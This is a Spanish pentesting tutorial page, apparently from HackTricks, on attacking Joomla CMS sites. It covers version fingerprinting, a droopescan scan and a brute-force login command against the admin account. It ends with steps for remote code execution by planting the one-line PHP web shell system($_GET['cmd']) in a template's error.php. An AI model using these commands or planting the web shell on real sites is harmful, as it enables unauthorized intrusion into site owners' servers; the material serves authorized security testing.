hacktricks/network-services-pentesting/pentesting-web/joomla.md

4.5 KiB

Joomla

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Estadísticas de Joomla

Joomla recopila algunas estadísticas de uso anónimas, como el desglose de las versiones de Joomla, PHP y bases de datos, y los sistemas operativos de servidor utilizados en las instalaciones de Joomla. Estos datos se pueden consultar a través de su API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeración

Descubrimiento/Rastreo

  • Verificar la meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versión

  • En /administrator/manifests/files/joomla.xml puedes ver la versión.
  • En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.
  • En plugins/system/cache/cache.xml puedes ver una versión aproximada.
droopescan scan joomla --url http://joomla-site.local/

Ataque de Fuerza Bruta

Puedes utilizar este script para intentar realizar un ataque de fuerza bruta al inicio de sesión.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Si lograste obtener las credenciales de administrador, puedes RCE dentro de ella agregando un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.

  1. Haz clic en Templates en la parte inferior izquierda bajo Configuration para abrir el menú de plantillas.
  2. Haz clic en un nombre de plantilla. Vamos a elegir protostar bajo el encabezado de columna Template. Esto nos llevará a la página Templates: Customise.
  3. Finalmente, puedes hacer clic en una página para ver el código fuente. Vamos a elegir la página error.php. Agregaremos un comando PHP en una línea para ejecutar código de la siguiente manera:
  4. system($_GET['cmd']);
  5. Guardar y cerrar
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id